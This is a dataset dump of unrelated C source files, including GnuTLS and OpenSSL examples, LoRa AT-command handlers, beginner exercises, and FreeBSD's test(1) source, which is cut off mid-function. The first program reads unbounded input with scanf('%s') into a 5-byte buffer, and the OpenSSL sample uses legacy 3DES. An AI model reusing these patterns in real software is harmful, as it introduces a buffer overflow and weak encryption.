#include <stdio.h> #include <string.h> void Reserse_Optput(int n); static char str[5]; int main() { printf("Please input a digit: "); scanf("%s", str); printf("It has %lu digits. \n", strlen(str)); printf("The reversed digits: "); Reserse_Optput(strlen(str)); return 0; } void Reserse_Optput(int n) { while (n > 0) { printf("%c", str[--n]); } }
the_stack_data/1218807.c
// RUN: %llvmgcc -S %s -o /dev/null struct rtxc_snapshot { int a, b, c, d; }; __attribute__ ((section("__DATA, __common"))) static struct rtxc_snapshot rtxc_log_A[4];
the_stack_data/76380.c
/* * Copyright (C) 2013-2016 Nikos Mavrogiannopoulos * Copyright (C) 2016 Red Hat, Inc. * * This file is part of GnuTLS. * * GnuTLS is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * GnuTLS is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GnuTLS; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA */ /* This program tests the GNUTLS_ALPN_SERVER_PRECEDENCE */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <stdio.h> #include <stdlib.h> #if defined(_WIN32) || !defined(ENABLE_ALPN) int main(int argc, char **argv) { exit(77); } #else #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <arpa/inet.h> #include <unistd.h> #include <gnutls/gnutls.h> #include <gnutls/dtls.h> #include "utils.h" static void terminate(void); static void server_log_func(int level, const char *str) { fprintf(stderr, "server|<%d>| %s", level, str); } static void client_log_func(int level, const char *str) { fprintf(stderr, "client|<%d>| %s", level, str); } /* These are global */ static pid_t child; static void client(int fd, const char *protocol0, const char *protocol1, const char *protocol2) { gnutls_session_t session; int ret; gnutls_datum_t proto; gnutls_anon_client_credentials_t anoncred; /* Need to enable anonymous KX specifically. */ global_init(); if (debug) { gnutls_global_set_log_function(client_log_func); gnutls_global_set_log_level(4711); } gnutls_anon_allocate_client_credentials(&anoncred); /* Initialize TLS session */ gnutls_init(&session, GNUTLS_CLIENT); /* Use default priorities */ gnutls_priority_set_direct(session, "NONE:+VERS-TLS1.0:+CIPHER-ALL:+MAC-ALL:+SIGN-ALL:+COMP-ALL:+ANON-ECDH:+CURVE-ALL", NULL); if (protocol1) { gnutls_datum_t t[3]; t[0].data = (void *) protocol0; t[0].size = strlen(protocol0); t[1].data = (void *) protocol1; t[1].size = strlen(protocol1); t[2].data = (void *) protocol2; t[2].size = strlen(protocol2); ret = gnutls_alpn_set_protocols(session, t, 3, 0); if (ret < 0) { gnutls_perror(ret); exit(1); } } /* put the anonymous credentials to the current session */ gnutls_credentials_set(session, GNUTLS_CRD_ANON, anoncred); gnutls_transport_set_int(session, fd); /* Perform the TLS handshake */ do { ret = gnutls_handshake(session); } while (ret < 0 && gnutls_error_is_fatal(ret) == 0); if (ret < 0) { fail("client: Handshake failed\n"); gnutls_perror(ret); exit(1); } else { if (debug) success("client: Handshake was completed\n"); } if (debug) success("client: TLS version is: %s\n", gnutls_protocol_get_name (gnutls_protocol_get_version(session))); ret = gnutls_alpn_get_selected_protocol(session, &proto); if (ret < 0) { gnutls_perror(ret); exit(1); } if (debug) { fprintf(stderr, "selected protocol: %.*s\n", (int) proto.size, proto.data); } gnutls_bye(session, GNUTLS_SHUT_WR); close(fd); gnutls_deinit(session); gnutls_anon_free_client_credentials(anoncred); gnutls_global_deinit(); } static void terminate(void) { int status; kill(child, SIGTERM); wait(&status); exit(1); } static void server(int fd, const char *protocol1, const char *protocol2, const char *expected) { int ret; gnutls_session_t session; gnutls_anon_server_credentials_t anoncred; gnutls_datum_t t[2]; gnutls_datum_t selected; /* this must be called once in the program */ global_init(); if (debug) { gnutls_global_set_log_function(server_log_func); gnutls_global_set_log_level(4711); } gnutls_anon_allocate_server_credentials(&anoncred); gnutls_init(&session, GNUTLS_SERVER); /* avoid calling all the priority functions, since the defaults * are adequate. */ gnutls_priority_set_direct(session, "NONE:+VERS-TLS1.0:+CIPHER-ALL:+MAC-ALL:+SIGN-ALL:+COMP-ALL:+ANON-ECDH:+CURVE-ALL", NULL); t[0].data = (void *) protocol1; t[0].size = strlen(protocol1); t[1].data = (void *) protocol2; t[1].size = strlen(protocol2); ret = gnutls_alpn_set_protocols(session, t, 2, GNUTLS_ALPN_SERVER_PRECEDENCE); if (ret < 0) { gnutls_perror(ret); exit(1); } gnutls_credentials_set(session, GNUTLS_CRD_ANON, anoncred); gnutls_transport_set_int(session, fd); do { ret = gnutls_handshake(session); } while (ret < 0 && gnutls_error_is_fatal(ret) == 0); if (ret < 0) { close(fd); gnutls_deinit(session); fail("server: Handshake has failed (%s)\n\n", gnutls_strerror(ret)); terminate(); } if (debug) success("server: Handshake was completed\n"); if (debug) success("server: TLS version is: %s\n", gnutls_protocol_get_name (gnutls_protocol_get_version(session))); ret = gnutls_alpn_get_selected_protocol(session, &selected); if (ret < 0) { gnutls_perror(ret); exit(1); } if (debug) { success("Protocol: %.*s\n", (int) selected.size, selected.data); } if (selected.size != strlen(expected) || memcmp(selected.data, expected, selected.size) != 0) { fail("did not select the expected protocol (selected %.*s, expected %s)\n", selected.size, selected.data, expected); exit(1); } /* do not wait for the peer to close the connection. */ gnutls_bye(session, GNUTLS_SHUT_WR); close(fd); gnutls_deinit(session); gnutls_anon_free_server_credentials(anoncred); gnutls_global_deinit(); if (debug) success("server: finished\n"); } static void start(const char *p1, const char *p2, const char *cp1, const char *cp2, const char *expected) { int fd[2]; int ret; ret = socketpair(AF_UNIX, SOCK_STREAM, 0, fd); if (ret < 0) { perror("socketpair"); exit(1); } child = fork(); if (child < 0) { perror("fork"); fail("fork"); exit(1); } if (child) { int status; /* parent */ server(fd[0], p1, p2, expected); wait(&status); check_wait_status(status); } else { close(fd[0]); client(fd[1], cp1, "unknown/1.4", cp2); exit(0); } } void doit(void) { /* A, B - A, B -> A */ start("h2", "http/1.1", "h2", "http/1.1", "h2"); /* A, B - B, A -> A */ start("spdy/3", "spdy/2", "spdy/2", "spdy/3", "spdy/3"); /* A, B - C, B -> B */ start("spdy/3", "spdy/2", "h2", "spdy/2", "spdy/2"); /* A, B - B, C -> B */ start("h2", "http/1.1", "http/1.1", "h3", "http/1.1"); } #endif /* _WIN32 */
the_stack_data/170452323.c
#include <stdio.h> int main() { int i; int valor, maior = -999, menor = 999, soma = 0, media; for(i = 0; i < 10; i++){ printf("Informe o valor: "); scanf("%d",&valor); if(valor > 0){ if(valor > maior){ maior = valor; } if(valor < menor){ menor = valor; } soma = soma + valor; }else{ i --; } } media = soma / 10; printf("O maior numero é: %d\n",maior); printf("O menor numero é: %d\n",menor); printf("A media dos numeros é: %d",media); return 0; }
the_stack_data/23574906.c
/* * Copyright 2007-2016 The OpenSSL Project Authors. All Rights Reserved. * * Licensed under the Apache License 2.0 (the "License"). You may not use * this file except in compliance with the License. You can obtain a copy * in the file LICENSE in the source distribution or at * https://www.openssl.org/source/license.html */ /* Simple S/MIME encrypt example */ #include <openssl/pem.h> #include <openssl/pkcs7.h> #include <openssl/err.h> int main(int argc, char **argv) { BIO *in = NULL, *out = NULL, *tbio = NULL; X509 *rcert = NULL; STACK_OF(X509) *recips = NULL; PKCS7 *p7 = NULL; int ret = 1; /* * On OpenSSL 0.9.9 only: * for streaming set PKCS7_STREAM */ int flags = PKCS7_STREAM; OpenSSL_add_all_algorithms(); ERR_load_crypto_strings(); /* Read in recipient certificate */ tbio = BIO_new_file("signer.pem", "r"); if (!tbio) goto err; rcert = PEM_read_bio_X509(tbio, NULL, 0, NULL); if (!rcert) goto err; /* Create recipient STACK and add recipient cert to it */ recips = sk_X509_new_null(); if (!recips || !sk_X509_push(recips, rcert)) goto err; /* * OSSL_STACK_OF_X509_free() will free up recipient STACK and its contents * so set rcert to NULL so it isn't freed up twice. */ rcert = NULL; /* Open content being encrypted */ in = BIO_new_file("encr.txt", "r"); if (!in) goto err; /* encrypt content */ p7 = PKCS7_encrypt(recips, in, EVP_des_ede3_cbc(), flags); if (!p7) goto err; out = BIO_new_file("smencr.txt", "w"); if (!out) goto err; /* Write out S/MIME message */ if (!SMIME_write_PKCS7(out, p7, in, flags)) goto err; ret = 0; err: if (ret) { fprintf(stderr, "Error Encrypting Data\n"); ERR_print_errors_fp(stderr); } PKCS7_free(p7); X509_free(rcert); OSSL_STACK_OF_X509_free(recips); BIO_free(in); BIO_free(out); BIO_free(tbio); return ret; }
the_stack_data/210350.c
#ifdef SUPPORT_LORA #include <string.h> #include "atcmd.h" #include "atcmd_key_id.h" #include "udrv_errno.h" #include "service_lora.h" static void dump_hex2str(uint8_t *buf , uint8_t len) { for(uint8_t i=0; i<len; i++) { atcmd_printf("%02X", buf[i]); } atcmd_printf("\r\n"); } //AT Command Keys, IDs and EUIs Management Function int At_AppEui (SERIAL_PORT port, char *cmd, stParam *param) { if (SERVICE_LORA_P2P == service_lora_get_nwm()) { return AT_MODE_NO_SUPPORT; } if (param->argc == 1 && !strcmp(param->argv[0], "?")) { uint8_t rbuff[8]; if (service_lora_get_app_eui(rbuff, 8) != UDRV_RETURN_OK) { return AT_ERROR; } atcmd_printf("%s=", cmd); dump_hex2str(rbuff, 8); return AT_OK; } else if (param->argc == 1) { char lora_id[32]; char hex_num[3] = {0}; int32_t ret; if (strlen(param->argv[0]) != 16) { return AT_PARAM_ERROR; } for (int i = 0 ; i < 16 ; i++) { if (!isxdigit(param->argv[0][i])) { return AT_PARAM_ERROR; } } for (int i = 0 ; i < 8 ; i++) { memcpy(hex_num, &param->argv[0][i*2], 2); lora_id[i] = strtoul(hex_num, NULL, 16); } ret = service_lora_set_app_eui(lora_id, 8); if (ret == UDRV_RETURN_OK) { return AT_OK; } else if (ret == -UDRV_BUSY) { return AT_BUSY_ERROR; } else { return AT_ERROR; } } else { return AT_PARAM_ERROR; } } int At_AppKey (SERIAL_PORT port, char *cmd, stParam *param) { if (SERVICE_LORA_P2P == service_lora_get_nwm()) { return AT_MODE_NO_SUPPORT; } if (param->argc == 1 && !strcmp(param->argv[0], "?")) { uint8_t rbuff[16]; if (service_lora_get_app_key(rbuff, 16) != UDRV_RETURN_OK) { return AT_ERROR; } atcmd_printf("%s=", cmd); dump_hex2str(rbuff, 16); return AT_OK; } else if (param->argc == 1) { char lora_id[32]; char hex_num[3] = {0}; int32_t ret; if (strlen(param->argv[0]) != 32) { return AT_PARAM_ERROR; } for (int i = 0 ; i < 32 ; i++) { if (!isxdigit(param->argv[0][i])) { return AT_PARAM_ERROR; } } for (int i = 0 ; i < 16 ; i++) { memcpy(hex_num, &param->argv[0][i*2], 2); lora_id[i] = strtoul(hex_num, NULL, 16); } ret = service_lora_set_app_key(lora_id, 16); if (ret == UDRV_RETURN_OK) { return AT_OK; } else if (ret == -UDRV_BUSY) { return AT_BUSY_ERROR; } else { return AT_ERROR; } } else { return AT_PARAM_ERROR; } } int At_AppSKey (SERIAL_PORT port, char *cmd, stParam *param) { if (SERVICE_LORA_P2P == service_lora_get_nwm()) { return AT_MODE_NO_SUPPORT; } if (param->argc == 1 && !strcmp(param->argv[0], "?")) { uint8_t rbuff[16]; if (service_lora_get_app_skey(rbuff, 16) != UDRV_RETURN_OK) { return AT_ERROR; } atcmd_printf("%s=", cmd); dump_hex2str(rbuff, 16); return AT_OK; } else if (param->argc == 1) { char lora_id[32]; char hex_num[3] = {0}; int32_t ret; if (strlen(param->argv[0]) != 32) { return AT_PARAM_ERROR; } for (int i = 0 ; i < 32 ; i++) { if (!isxdigit(param->argv[0][i])) { return AT_PARAM_ERROR; } } for (int i = 0 ; i < 16 ; i++) { memcpy(hex_num, &param->argv[0][i*2], 2); lora_id[i] = strtoul(hex_num, NULL, 16); } ret = service_lora_set_app_skey(lora_id, 16); if (ret == UDRV_RETURN_OK) { return AT_OK; } else if (ret == -UDRV_BUSY) { return AT_BUSY_ERROR; } else { return AT_ERROR; } } else { return AT_PARAM_ERROR; } } int At_DevAddr (SERIAL_PORT port, char *cmd, stParam *param) { if (SERVICE_LORA_P2P == service_lora_get_nwm()) { return AT_MODE_NO_SUPPORT; } if (param->argc == 1 && !strcmp(param->argv[0], "?")) { uint8_t rbuff[4]; if (service_lora_get_dev_addr(rbuff, 4) != UDRV_RETURN_OK) { return AT_ERROR; } atcmd_printf("%s=", cmd); for (int i = 0 ; i < 4 ; i++) { atcmd_printf("%02X", rbuff[i]); } atcmd_printf("\r\n"); return AT_OK; } else if (param->argc == 1) { char dev_addr[4]; char hex_num[3] = {0}; int32_t ret; if (strlen(param->argv[0]) != 8) { return AT_PARAM_ERROR; } for (int i = 0 ; i < 8 ; i++) { if (!isxdigit(param->argv[0][i])) { return AT_PARAM_ERROR; } } for (int i = 0 ; i < 4 ; i++) { memcpy(hex_num, &param->argv[0][i*2], 2); dev_addr[i] = strtoul(hex_num, NULL, 16); } ret = service_lora_set_dev_addr(dev_addr, 4); if (ret == UDRV_RETURN_OK) { return AT_OK; } else if (ret == -UDRV_BUSY) { return AT_BUSY_ERROR; } else { return AT_ERROR; } } else { return AT_PARAM_ERROR; } } int At_DevEui (SERIAL_PORT port, char *cmd, stParam *param) { // if (SERVICE_LORA_P2P == service_lora_get_nwm()) // { // return AT_MODE_NO_SUPPORT; // } if (param->argc == 1 && !strcmp(param->argv[0], "?")) { uint8_t rbuff[8]; if (service_lora_get_dev_eui(rbuff, 8) != UDRV_RETURN_OK) { return AT_ERROR; } atcmd_printf("%s=", cmd); dump_hex2str(rbuff, 8); return AT_OK; } else if (param->argc == 1) { char lora_id[32]; char hex_num[3] = {0}; int32_t ret; if (strlen(param->argv[0]) != 16) { return AT_PARAM_ERROR; } for (int i = 0 ; i < 16 ; i++) { if (!isxdigit(param->argv[0][i])) { return AT_PARAM_ERROR; } } for (int i = 0 ; i < 8 ; i++) { memcpy(hex_num, &param->argv[0][i*2], 2); lora_id[i] = strtoul(hex_num, NULL, 16); } ret = service_lora_set_dev_eui(lora_id, 8); if (ret == UDRV_RETURN_OK) { return AT_OK; } else if (ret == -UDRV_BUSY) { return AT_BUSY_ERROR; } else { return AT_ERROR; } } else { return AT_PARAM_ERROR; } } int At_NetId (SERIAL_PORT port, char *cmd, stParam *param) { if (SERVICE_LORA_P2P == service_lora_get_nwm()) { return AT_MODE_NO_SUPPORT; } if (param->argc == 1 && !strcmp(param->argv[0], "?")) { uint8_t rbuff[4]; if (service_lora_get_net_id(rbuff, 4) != UDRV_RETURN_OK) { return AT_ERROR; } //XXX: These 3 bytes are MSB first! atcmd_printf("%s=", cmd); for(int i = 2 ; i >= 0 ; i--) { atcmd_printf("%02X", rbuff[i]); } atcmd_printf("\r\n"); return AT_OK; //} else if (param->argc == 1) { // char lora_id[8]; // char hex_num[3] = {0}; // if (strlen(param->argv[0]) != 8) { // return AT_PARAM_ERROR; // } // for (int i = 0 ; i < 8 ; i++) { // if (!isxdigit(param->argv[0][i])) { // return AT_PARAM_ERROR; // } // } // //XXX: These 4 bytes are MSB first! // for (int i = 0 ; i < 4 ; i++) { // memcpy(hex_num, &param->argv[0][i*2], 2); // lora_id[3-i] = strtoul(hex_num, NULL, 16); // } // if (service_lora_set_nwk_id(lora_id, 4) == UDRV_RETURN_OK) { // return AT_OK; // } else { // return AT_ERROR; // } } else { return AT_PARAM_ERROR; } } int At_NwkSKey (SERIAL_PORT port, char *cmd, stParam *param) { if (SERVICE_LORA_P2P == service_lora_get_nwm()) { return AT_MODE_NO_SUPPORT; } if (param->argc == 1 && !strcmp(param->argv[0], "?")) { uint8_t rbuff[16]; if (service_lora_get_nwk_skey(rbuff, 16) != UDRV_RETURN_OK) { return AT_ERROR; } atcmd_printf("%s=", cmd); dump_hex2str(rbuff, 16); return AT_OK; } else if (param->argc == 1) { char lora_id[32]; char hex_num[3] = {0}; int32_t ret; if (strlen(param->argv[0]) != 32) { return AT_PARAM_ERROR; } for (int i = 0 ; i < 32 ; i++) { if (!isxdigit(param->argv[0][i])) { return AT_PARAM_ERROR; } } for (int i = 0 ; i < 16 ; i++) { memcpy(hex_num, &param->argv[0][i*2], 2); lora_id[i] = strtoul(hex_num, NULL, 16); } ret = service_lora_set_nwk_skey(lora_id, 16); if (ret == UDRV_RETURN_OK) { return AT_OK; } else if (ret == -UDRV_BUSY) { return AT_BUSY_ERROR; } else { return AT_ERROR; } } else { return AT_PARAM_ERROR; } } #endif
the_stack_data/167330459.c
/* * data.c * * Copyright 2008-2010 Apple, Inc. Permission is hereby granted, free of charge, * to any person obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * */ /******************** NSBlock support We allocate space and export a symbol to be used as the Class for the on-stack and malloc'ed copies until ObjC arrives on the scene. These data areas are set up by Foundation to link in as real classes post facto. We keep these in a separate file so that we can include the runtime code in test subprojects but not include the data so that compiled code that sees the data in libSystem doesn't get confused by a second copy. Somehow these don't get unified in a common block. **********************/ void * _NSConcreteStackBlock[32] = { 0 }; void * _NSConcreteMallocBlock[32] = { 0 }; void * _NSConcreteAutoBlock[32] = { 0 }; void * _NSConcreteFinalizingBlock[32] = { 0 }; void * _NSConcreteGlobalBlock[32] = { 0 }; void * _NSConcreteWeakBlockVariable[32] = { 0 }; void _Block_copy_error(void) { }
the_stack_data/8649.c
/* Generated by CIL v. 1.7.0 */ /* print_CIL_Input is false */ struct _IO_FILE; struct timeval; extern void signal(int sig , void *func ) ; extern float strtof(char const *str , char const *endptr ) ; typedef struct _IO_FILE FILE; extern int atoi(char const *s ) ; extern double strtod(char const *str , char const *endptr ) ; extern int fclose(void *stream ) ; extern void *fopen(char const *filename , char const *mode ) ; extern void abort() ; extern void exit(int status ) ; extern int raise(int sig ) ; extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ; extern int strcmp(char const *a , char const *b ) ; extern int rand() ; extern unsigned long strtoul(char const *str , char const *endptr , int base ) ; void RandomFunc(unsigned char input[1] , unsigned char output[1] ) ; extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ; extern int gettimeofday(struct timeval *tv , void *tz , ...) ; extern int printf(char const *format , ...) ; int main(int argc , char *argv[] ) ; void megaInit(void) ; extern unsigned long strlen(char const *s ) ; extern long strtol(char const *str , char const *endptr , int base ) ; extern unsigned long strnlen(char const *s , unsigned long maxlen ) ; extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ; struct timeval { long tv_sec ; long tv_usec ; }; extern void *malloc(unsigned long size ) ; extern int scanf(char const *format , ...) ; void RandomFunc(unsigned char input[1] , unsigned char output[1] ) { unsigned char state[1] ; unsigned char local1 ; { state[0UL] = (input[0UL] & 914778474UL) << (unsigned char)7; local1 = 0UL; while (local1 < 1UL) { state[0UL] &= state[local1]; state[local1] = state[0UL] >> (((state[0UL] >> (unsigned char)3) & (unsigned char)7) | 1UL); local1 ++; } local1 = 0UL; while (local1 < 1UL) { state[0UL] <<= ((state[0UL] >> (unsigned char)1) & (unsigned char)7) | 1UL; state[local1] >>= ((state[local1] >> (unsigned char)3) & (unsigned char)7) | 1UL; local1 += 2UL; } output[0UL] = (state[0UL] << (unsigned char)3) | (unsigned char)250; } } int main(int argc , char *argv[] ) { unsigned char input[1] ; unsigned char output[1] ; int randomFuns_i5 ; unsigned char randomFuns_value6 ; int randomFuns_main_i7 ; { megaInit(); if (argc != 2) { printf("Call this program with %i arguments\n", 1); exit(-1); } else { } randomFuns_i5 = 0; while (randomFuns_i5 < 1) { randomFuns_value6 = (unsigned char )strtoul(argv[randomFuns_i5 + 1], 0, 10); input[randomFuns_i5] = randomFuns_value6; randomFuns_i5 ++; } RandomFunc(input, output); if (output[0] == (unsigned char)42) { printf("You win!\n"); } else { } randomFuns_main_i7 = 0; while (randomFuns_main_i7 < 1) { printf("%u\n", output[randomFuns_main_i7]); randomFuns_main_i7 ++; } } } void megaInit(void) { { } }
the_stack_data/62637035.c
/* $NetBSD: test.c,v 1.21 1999/04/05 09:48:38 kleink Exp $ */ /* * test(1); version 7-like -- author Erik Baalbergen * modified by Eric Gisin to be used as built-in. * modified by Arnold Robbins to add SVR3 compatibility * (-x -c -b -p -u -g -k) plus Korn's -L -nt -ot -ef and new -S (socket). * modified by J.T. Conklin for NetBSD. * * This program is in the Public Domain. */ #ifndef lint static const char rcsid[] = "$FreeBSD: src/bin/test/test.c,v 1.29.2.2 2001/08/01 05:31:04 obrien Exp $"; #endif /* not lint */ #include <sys/types.h> #include <sys/stat.h> #include <ctype.h> #include <err.h> #include <errno.h> #include <limits.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* test(1) accepts the following grammar: oexpr ::= aexpr | aexpr "-o" oexpr ; aexpr ::= nexpr | nexpr "-a" aexpr ; nexpr ::= primary | "!" primary primary ::= unary-operator operand | operand binary-operator operand | operand | "(" oexpr ")" ; unary-operator ::= "-r"|"-w"|"-x"|"-f"|"-d"|"-c"|"-b"|"-p"| "-u"|"-g"|"-k"|"-s"|"-t"|"-z"|"-n"|"-o"|"-O"|"-G"|"-L"|"-S"; binary-operator ::= "="|"!="|"-eq"|"-ne"|"-ge"|"-gt"|"-le"|"-lt"| "-nt"|"-ot"|"-ef"; operand ::= <any legal UNIX file name> */ enum token { EOI, FILRD, FILWR, FILEX, FILEXIST, FILREG, FILDIR, FILCDEV, FILBDEV, FILFIFO, FILSOCK, FILSYM, FILGZ, FILTT, FILSUID, FILSGID, FILSTCK, FILNT, FILOT, FILEQ, FILUID, FILGID, STREZ, STRNZ, STREQ, STRNE, STRLT, STRGT, INTEQ, INTNE, INTGE, INTGT, INTLE, INTLT, UNOT, BAND, BOR, LPAREN, RPAREN, OPERAND }; enum token_types { UNOP, BINOP, BUNOP, BBINOP, PAREN }; struct t_op { const char *op_text; short op_num, op_type; } const ops [] = { {"-r", FILRD, UNOP}, {"-w", FILWR, UNOP}, {"-x", FILEX, UNOP}, {"-e", FILEXIST,UNOP}, {"-f", FILREG, UNOP}, {"-d", FILDIR, UNOP}, {"-c", FILCDEV,UNOP}, {"-b", FILBDEV,UNOP}, {"-p", FILFIFO,UNOP}, {"-u", FILSUID,UNOP}, {"-g", FILSGID,UNOP}, {"-k", FILSTCK,UNOP}, {"-s", FILGZ, UNOP}, {"-t", FILTT, UNOP}, {"-z", STREZ, UNOP}, {"-n", STRNZ, UNOP}, {"-h", FILSYM, UNOP}, /* for backwards compat */ {"-O", FILUID, UNOP}, {"-G", FILGID, UNOP}, {"-L", FILSYM, UNOP}, {"-S", FILSOCK,UNOP}, {"=", STREQ, BINOP}, {"!=", STRNE, BINOP}, {"<", STRLT, BINOP}, {">", STRGT, BINOP}, {"-eq", INTEQ, BINOP}, {"-ne", INTNE, BINOP}, {"-ge", INTGE, BINOP}, {"-gt", INTGT, BINOP}, {"-le", INTLE, BINOP}, {"-lt", INTLT, BINOP}, {"-nt", FILNT, BINOP}, {"-ot", FILOT, BINOP}, {"-ef", FILEQ, BINOP}, {"!", UNOT, BUNOP}, {"-a", BAND, BBINOP}, {"-o", BOR, BBINOP}, {"(", LPAREN, PAREN}, {")", RPAREN, PAREN}, {0, 0, 0} }; struct t_op const *t_wp_op; char **t_wp; static int aexpr __P((enum token)); static int binop __P((void)); static int equalf __P((const char *, const char *)); static int filstat __P((char *, enum token)); static int getn __P((const char *)); static quad_t getq __P((const char *)); static int intcmp __P((const char *, const char *)); static int isoperand __P((void)); int main __P((int, char **)); static int newerf __P((const char *, const char *)); static int nexpr __P((enum token)); static int oexpr __P((enum token)); static int olderf __P((const char *, const char *)); static int primary __P((enum token)); static void syntax __P((const char *, const char *)); static enum token t_lex __P((char *)); int main(argc, argv) int argc; char **argv; { int res; char *p; if ((p = rindex(argv[0], '/')) == NULL) p = argv[0]; else p++; if (strcmp(p, "[") == 0) { if (strcmp(argv[--argc], "]")) errx(2, "missing ]"); argv[argc] = NULL; } /* XXX work around the absence of an eaccess(2) syscall */ (void)setgid(getegid()); (void)setuid(geteuid()); t_wp = &argv[1]; res = !oexpr(t_lex(*t_wp)); if (*t_wp != NULL && *++t_wp != NULL) syntax(*t_wp, "unexpected operator"); return res; } static void syntax(op, msg) const char *op; const char *msg; { if (op && *op) errx(2, "%s: %s", op, msg); else errx(2, "%s", msg); } static int oexpr(n) enum token n; { int res; res = aexpr(n); if (t_lex(*++t_wp) == BOR) return oexpr(t_lex(*++t_wp)) || res; t_wp--; return res; } static int aexpr(n) enum token n; { int res; res = nexpr(n); if (t_lex(*++t_wp) == BAND) return aexpr(t_lex(*++t_wp)) && res; t_wp--; return res; } static int nexpr(n) enum token n; /* token */ { if (n == UNOT) return !nexpr(t_lex(*++t_wp)); return primary(n); } static int primary(n) enum token n; { enum token nn; int res; if (n == EOI) return 0; /* missing expression */ if (n == LPAREN) { if ((nn = t_lex(*++t_wp)) == RPAREN) return 0; /* missing expression */ res = oexpr(nn); if (t_lex(*++t_wp) != RPAREN) syntax(NULL, "closing paren expected"); return res; } if (t_wp_op && t_wp_op->op_type == UNOP) { /* unary expression */ if (*++t_wp == NULL) syntax(t_wp_op->op_text, "argument expected"); switch (n) { case STREZ: return strlen(*t_wp) == 0; case STRNZ: return strlen(*t_wp) != 0; case FILTT: return isatty(getn(*t_wp)); default: return filstat(*t_wp, n); } } if (t_lex(t_wp[1]), t_wp_op && t_wp_op->op_type == BINOP) { return binop(); } return strlen(*t_wp) > 0; } static int binop() { const char *opnd1, *opnd2; struct t_op const *op; opnd1 = *t_wp; (void) t_lex(*++t_wp); op = t_wp_op; if ((opnd2 = *++t_wp) == NULL) syntax(op->op_text, "argument expected"); switch (op->op_num) { case STREQ: return strcmp(opnd1, opnd2) == 0; case STRNE: return strcmp(opnd1, opnd2) != 0; case STRLT: return strcmp(opnd1, opnd2) < 0; case STRGT: return strcmp(opnd1, opnd2) > 0; case INTEQ: return intcmp(opnd1, opnd2) == 0; case INTNE: return intcmp(opnd1, opnd2) != 0; case INTGE: return intcmp(opnd1, opnd2) >= 0; case INTGT: return intcmp(opnd1, opnd2) > 0; case INTLE: return intcmp(opnd1, opnd2) <= 0; case INTLT: return intcmp(opnd1, opnd2) < 0; case FILNT: return newerf (opnd1, opnd2); case FILOT: return olderf (opnd1, opnd2); case FILEQ: return equalf (opnd1, opnd2); default: abort(); /* NOTREACHED */ } } static int filstat(nm, mode) char *nm; enum token mode; { struct stat s; if (mode == FILSYM ? lstat(nm, &s) : stat(nm, &s)) return 0; switch (mode) { case FILRD: return access(nm, R_OK) == 0; case FILWR: return access(nm, W_OK) == 0; case FILEX: /* XXX work around access(2) false positives for superuser */ if (access(nm, X_OK) != 0) return 0; if (S_ISDIR(s.st_mode) || getuid() != 0) return 1; return (s.st_mode & (S_IXUSR | S_IXGRP | S_IXOTH)) != 0; case FILEXIST: return access(nm, F_OK) == 0; case FILREG: return S_ISREG(s.st_mode); case FILDIR: return S_ISDIR(s.st_mode); case FILCDEV: return S_ISCHR(s.st_mode); case FILBDEV: return S_ISBLK(s.st_mode); case FILFIFO: return S_ISFIFO(s.st_mode); case FILSOCK: return S_ISSOCK(s.st_mode); case FILSYM: return S_ISLNK(s.st_mode); case FILSUID: return (s.st_mode & S_ISUID) != 0; case FILSGID: return (s.st_mode & S_ISGID) != 0; case FILSTCK: return (s.st_mode & S_ISVTX) != 0; case FILGZ: return s.st_size > (off_t)0; case FILUID: return s.st_uid == geteuid(); case FILGID: return s.st_gid == getegid(); default: return 1; } } static enum token t_lex(s) char *s; { struct t_op const *op = ops; if (s == 0) { t_wp_op = NULL; return EOI; } while (op->op_text) { if (strcmp(s, op->op_text) == 0) { if ((op->op_type == UNOP && isoperand()) || (op->op_num == LPAREN && *(t_wp+1) == 0)) break; t_wp_op = op; return op->op_num; } op++; } t_wp_op = NULL; return OPERAND; } static int isoperand() { struct t_op const *op = ops; char *s; char *t; if ((s = *(t_wp+1)) == 0) return 1; if ((t = *(t_wp+2)) == 0) return 0; while (op->op_text) { if (strcmp(s, op->op_text) == 0) return op->op_type == BINOP && (t[0] != ')' || t[1] != '\0'); op++; } return 0; } /* atoi with error detection */ static int getn(s) const char *s; { char *p; long r; errno = 0; r = strtol(s, &p, 10); if (errno != 0) errx(2, "%s: out of range", s); while (isspace((unsigned char)*p)) p++; if (*p) errx(2, "%s: bad number", s); return (int) r; } /* atoi with error detection and 64 bit range */ static quad_t getq(s) const char *s; { char *p; quad_t r; errno = 0; r = strtoq(s, &p, 10); if (errno != 0) errx(2, "%s: out of range", s); while (isspace((unsigned char)*p)) p++; if (*p) errx(2, "%s: bad number", s); return r; } static int intcmp (s1, s2) const char *s1, *s2; { quad_t q1, q2; q1 = getq(s1); q2 = getq(s2); if (q1 > q2) return 1; if (q1 < q2) return -1; return 0; } static int newerf (f1, f2) const char *f1, *f2; { struct stat b1, b2; return (stat (f1, &b1) == 0 && stat (f2, &b2) == 